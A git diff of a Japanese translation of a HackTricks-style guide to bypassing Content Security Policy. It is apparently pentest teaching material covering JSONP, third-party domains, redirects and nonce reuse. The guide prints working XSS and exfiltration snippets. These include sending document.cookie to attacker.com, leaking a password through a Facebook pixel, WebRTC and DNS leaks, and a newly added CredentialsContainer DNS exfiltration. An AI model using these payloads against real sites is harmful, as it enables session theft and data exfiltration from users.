Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM

2025-10-10 18:36:50 +00:00 · 2025-01-26 15:24:49 +00:00 · 2025-01-26 15:24:49 +00:00 · 5985744849
commit 5985744849
parent 3639f6afc0
1 changed files with 64 additions and 51 deletions
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@ -1,14 +1,14 @@
-# Content Security Policy (CSP) Bypass
+# コンテンツセキュリティポリシー (CSP) バイパス

 {{#include ../../banners/hacktricks-training.md}}

-## What is CSP
+## CSPとは

-Content Security Policy (CSP) は、主に **クロスサイトスクリプティング (XSS) などの攻撃から保護することを目的としたブラウザ技術** として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScript などのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval`、`setTimeout`、`setInterval` などの関数を通じて文字列コードの実行を含むことがあります。
+コンテンツセキュリティポリシー (CSP) は、主に**クロスサイトスクリプティング (XSS) などの攻撃からの保護**を目的としたブラウザ技術として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval`、`setTimeout`、`setInterval` などの関数を通じて文字列コードの実行を含みます。

-CSP の実装は、**レスポンスヘッダー**を通じて、または **HTML ページにメタ要素を組み込むことによって** 行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
+CSPの実装は、**レスポンスヘッダー**を介して行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。

- Implemented via response header:
+- レスポンスヘッダーを介して実装される:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
 CSPはこれらのヘッダーを使用して強制または監視できます：

 - `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします。
- `Content-Security-Policy-Report-Only`: 監視に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。
+- `Content-Security-Policy-Report-Only`: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。

 ### リソースの定義

@ -39,12 +39,12 @@ object-src 'none';
 ```
 ### ディレクティブ

- **script-src**: JavaScriptの特定のソースを許可します。これにはURL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
+- **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラーやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
 - **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
 - **child-src**: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
 - **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
 - **frame-src**: フレームのためのURLを制限します。
- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは`<frame>`、`<iframe>`、`<object>`、`<embed>`、および`<applet>`のような要素に適用されます。
+- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは、`<frame>`、`<iframe>`、`<object>`、`<embed>`、および`<applet>`のような要素に適用されます。
 - **img-src**: 画像のために許可されたソースを定義します。
 - **font-src**: `@font-face`を使用して読み込まれるフォントのための有効なソースを指定します。
 - **manifest-src**: アプリケーションマニフェストファイルのために許可されたソースを定義します。
@ -55,21 +55,21 @@ object-src 'none';
 - **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。
 - **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
 - **sandbox**: `<iframe>`のsandbox属性に似た制限を適用します。
- **report-to**: ポリシーが違反された場合に報告が送信されるグループを指定します。
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。
- **prefetch-src**: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。
+- **report-to**: ポリシーが違反された場合にレポートが送信されるグループを指定します。
+- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのために有効なソースを指定します。
+- **prefetch-src**: フェッチまたはプリフェッチされるリソースのために有効なソースを指定します。
 - **navigate-to**: ドキュメントがあらゆる手段（a、form、window.location、window.openなど）でナビゲートできるURLを制限します。

 ### ソース

- `*`: `data:`、`blob:`、`filesystem:`スキームを除くすべてのURLを許可します。
+- `*`: `data:`, `blob:`, `filesystem:`スキームを除くすべてのURLを許可します。
 - `'self'`: 同じドメインからの読み込みを許可します。
 - `'data'`: データスキーム（例：Base64エンコードされた画像）を介してリソースを読み込むことを許可します。
 - `'none'`: どのソースからの読み込みもブロックします。
 - `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
+- `'unsafe-hashes'`: 特定のインラインイベントハンドラーを有効にします。
 - `'unsafe-inline'`: インラインリソース（インライン`<script>`や`<style>`など）の使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'nonce'`: 暗号的なノンス（1回使用される番号）を使用する特定のインラインスクリプトのホワイトリストです。
+- `'nonce'`: 暗号的なノンス（1回限り使用される番号）を使用する特定のインラインスクリプトのホワイトリストです。
 - JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です（strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません）。以下のように：

 <details>
@ -90,7 +90,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />

 - `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに追加します。
 - `'strict-dynamic'`: nonceまたはハッシュによってホワイトリストに追加された場合、任意のソースからスクリプトを読み込むことを許可します。
- `'host'`: `example.com`のように特定のホストを指定します。
+- `'host'`: `example.com`のような特定のホストを指定します。
 - `https:`: HTTPSを使用するURLに制限します。
 - `blob:`: Blob URL（例：JavaScriptを介して作成されたBlob URL）からリソースを読み込むことを許可します。
 - `filesystem:`: ファイルシステムからリソースを読み込むことを許可します。
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
 ### strict-dynamic

-もしあなたが何らかの方法で**許可されたJSコードがあなたのJSコードを使って新しいスクリプトタグをDOMに作成する**ことができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行されることが許可されます**。
+もしあなたが何らかの方法で**許可されたJSコードがあなたのJSコードを含む新しいスクリプトタグをDOMに作成する**ことができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行されることが許可されます**。

 ### Wildcard (\*)
 ```yaml
@ -153,7 +153,7 @@ Content-Security-Policy: script-src 'self' ;
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
-もしJSファイルをアップロードできる場合、このCSPをバイパスできます：
+JSファイルをアップロードできる場合、このCSPをバイパスできます：

 動作するペイロード：
 ```markup
@ -161,18 +161,18 @@ Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
 しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。

-さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めて**アップロードできたとしても（例えば、_script.png_のように）、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを実行することを**拒否する**からです。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/**のような**MIMEタイプで提供しません**。
+さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めてアップロードできたとしても**（例えば、_script.png_のように）、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを実行することを**拒否する**からです。「幸運にも」、ミスがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/**のような**MIMEタイプで提供しません**。

 ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけた場合、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます（[ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database)）。

-### フォームアクション
+### Form-action

-JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます（そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません）。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)ので、確認してください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
+JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます（そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません）。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)も見てください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。

-### サードパーティエンドポイント + ('unsafe-eval')
+### 第三者エンドポイント + ('unsafe-eval')

 > [!WARNING]
-> 次のペイロードのいくつかに対して**`unsafe-eval`は必要ない**場合すらあります。
+> 次のペイロードのいくつかに対して**`unsafe-eval`は必要ない**場合もあります。
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
@ -243,7 +243,7 @@ ng-init="c.init()"

 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 ```
-より多くの[**このレポートからのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
+より多くの[**この書き込みからのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
 ```html
 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

@ -286,11 +286,11 @@ https://www.youtube.com/oembed?callback=alert;
 ```
 [**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントを含んでいます。**

-**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
+**信頼されたエンドポイントにオープンリダイレクトが含まれている**場合、同じ脆弱性が発生します。最初のエンドポイントが信頼されている場合、リダイレクトも信頼されます。

 ### 第三者の悪用

-[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです：
+[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、データを抽出したりJavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです：

 | エンティティ         | 許可されたドメイン                          | 機能         |
 | ----------------- | -------------------------------------------- | ------------ |
@ -303,9 +303,9 @@ https://www.youtube.com/oembed?callback=alert;
 | Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |

-ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したり、コードを実行したりできる可能性があります。
+ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したりコードを実行したりできる可能性があります。

-例えば、次のCSPが見つかった場合：
+たとえば、次のCSPが見つかった場合：
 ```
 Content-Security-Policy: default-src 'self’ www.facebook.com;
 ```
@ -322,14 +322,14 @@ Content-Security-Policy: connect-src www.facebook.com;
 5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します（イベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events）。
 6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。

-次に、被害者側で、攻撃者のFacebook開発者アカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようにカスタムイベントを発行するために以下のコードを実行します。
+次に、被害者側で、攻撃者のFacebook開発者アカウントのアプリIDを指すようにFacebookトラッキングピクセルを初期化し、次のようなカスタムイベントを発行するために以下のコードを実行します。
 ```JavaScript
 fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
 });
 ```
-前の表に指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
+他の7つのサードパーティドメインについては、悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。

 ### RPO（相対パス上書き）によるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

@ -399,9 +399,9 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com

 CSPがサーバーサイドのリダイレクションに遭遇した場合、何が起こるのでしょうか？リダイレクションが許可されていない異なるオリジンに向かう場合、依然として失敗します。

-しかし、[CSP仕様4.2.2.3. パスとリダイレクション](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。
+しかし、[CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。

-例を示します：
+以下はその例です：
 ```html
 <!DOCTYPE html>
 <html>
@ -421,13 +421,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 ```
 CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`および`/a/test`スクリプトはCSPによってブロックされます。

-しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
+しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトを読み込むことができ**、したがってパス制限を回避します。

 このリダイレクトにより、パスが完全に指定されていても、依然として回避されます。

 したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。

-### ダングリングマークアップを使用したCSPのバイパス
+### ダンリングマークアップを使用したCSPのバイパス

 [こちらを読んでください](../dangling-markup-html-scriptless-injection/index.html)。

@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
 ```
 `'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味します（XSSはコードを実行できます）し、`img-src *`は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。

-このCSPは、画像を介してデータを抽出することでバイパスできます（この場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します）：
+このCSPは、画像を介してデータを抽出することでバイパスできます（この場合、XSSはCSRFを悪用し、ボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します）：
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -478,9 +478,9 @@ Edgeでは、はるかに簡単です。CSPにこれだけ追加できれば: **
 ### img-src \*; via XSS (iframe) - タイムアタック

 ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
-今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、被害者に情報を抽出したいページにアクセスさせます（**CSRF**）。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
+今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、情報を抽出したいページに被害者がアクセスするようにします（**CSRF**）。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。

-今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**はスリープ関数のために**より多くの時間**を要します。そうすれば、フラグを抽出できるようになります:
+今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**より多くの時間**を要します。スリープ関数のためです。そうすれば、フラグを抽出できるようになります:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -542,15 +542,15 @@ run()
 ```
 ### Via Bookmarklets

-この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせる**というソーシャルエンジニアリングを含むことになります。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことを可能にします**。
+この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせることを納得させる**というソーシャルエンジニアリングを含みます。このブックマークレットには、**悪意のあるjavascript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことを可能にします**。

 詳細については、[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。

 ### CSP bypass by restricting CSP

-[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込むことができました**。
+[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込む**ことが可能になりました。

-**`csp`**属性を使用して、**IframeのCSPを制限することができます**:
+**`csp`**属性を使用して、**IframeのCSPを制限する**ことができます:
 ```html
 <iframe
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
@ -568,9 +568,9 @@ content="script-src 'self'
 ```
 ### JS exfiltration with Content-Security-Policy-Report-Only

-サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**（おそらくCRLFのため）で応答するように管理できれば、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に抽出したい場合、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部（機密情報を含む）が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
+サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できれば（おそらくCRLFのため）、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に抽出したい場合、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部（機密情報を含む）が`Content-Security-Policy-Report-Only`からサーバーに送信されます。

-例については[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
+例として[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。

 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 ```javascript
@ -579,13 +579,13 @@ document.querySelector("DIV").innerHTML =
 ```
 ### CSPとIframeを使用した情報漏洩

- `iframe`がCSPによって許可されたURL（これを`https://example.redirect.com`と呼びます）を指すように作成されます。
+- `iframe`が作成され、CSPによって許可されたURL（これを`https://example.redirect.com`と呼びます）を指します。
 - このURLは、CSPによって**許可されていない**秘密のURL（例：`https://usersecret.example2.com`）にリダイレクトします。
 - `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。

-ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作により機密情報が漏洩する可能性があることは興味深いです。
+ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作によって機密情報が漏洩する可能性があることは興味深いです。

-別の手法は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです：
+別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです：
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
@ -599,7 +599,7 @@ CSPによってブロックまたは許可されるリクエストを監視す

 ### パラメータが多すぎるときのPHPエラー

-[**この動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると（1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能）、PHPウェブコードで定義された**`header()`**は、このエラーがトリガーされるため**送信されません**。
+この[**動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると（1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能）、PHPウェブコードで定義された**`header()`**は、このエラーによって**送信されません**。

 ### PHPレスポンスバッファのオーバーロード

@ -610,7 +610,7 @@ PHPはデフォルトで**4096**バイトまでレスポンスを**バッファ

 ### エラーページの書き換え

-[**この書き込み**](https://blog.ssrf.kr/69)によると、エラーページ（CSPがない可能性がある）を読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
+[**この書き込み**](https://blog.ssrf.kr/69)によると、CSPなしでエラーページを読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@ -627,7 +627,7 @@ SOMEは、**ページのエンドポイント**でXSS（または非常に制限

 さらに、**wordpress**には、`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します（文字、数字、ドットのみの制限があります）。

-攻撃者はそのエンドポイントを悪用して、WordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
+攻撃者は、そのエンドポイントを悪用してWordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
 この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。

 ## CSP Exfiltration Bypasses
@ -636,7 +636,7 @@ SOMEは、**ページのエンドポイント**でXSS（または非常に制限

 ### Location

-攻撃者のサーバーに秘密の情報を送信するために、単にロケーションを更新することができます：
+攻撃者のサーバーに秘密情報を送信するために、単にロケーションを更新することができます：
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 document.location = "https://attacker.com/?" + sessionid
@ -669,7 +669,7 @@ linkEl.rel = "prefetch"
 linkEl.href = urlWithYourPreciousData
 document.head.appendChild(linkEl)
 ```
-この問題を避けるために、サーバーはHTTPヘッダーを送信できます:
+この問題を避けるために、サーバーは次のHTTPヘッダーを送信できます：
 ```
 X-DNS-Prefetch-Control: off
 ```
@ -678,9 +678,9 @@ X-DNS-Prefetch-Control: off

 ### WebRTC

-いくつかのページでは、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。
+いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。

-実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください:
+実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください：
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
 });
 pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
+### CredentialsContainer
+
+認証ポップアップは、ページによって制限されることなくiconURLにDNSリクエストを送信します。これは、安全なコンテキスト（HTTPS）またはlocalhostでのみ機能します。
+```javascript
+navigator.credentials.store(
+new FederatedCredential({
+id:"satoki",
+name:"satoki",
+provider:"https:"+your_data+"example.com",
+iconURL:"https:"+your_data+"example.com"
+})
+)
+```
 ## CSPポリシーのオンラインチェック

 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)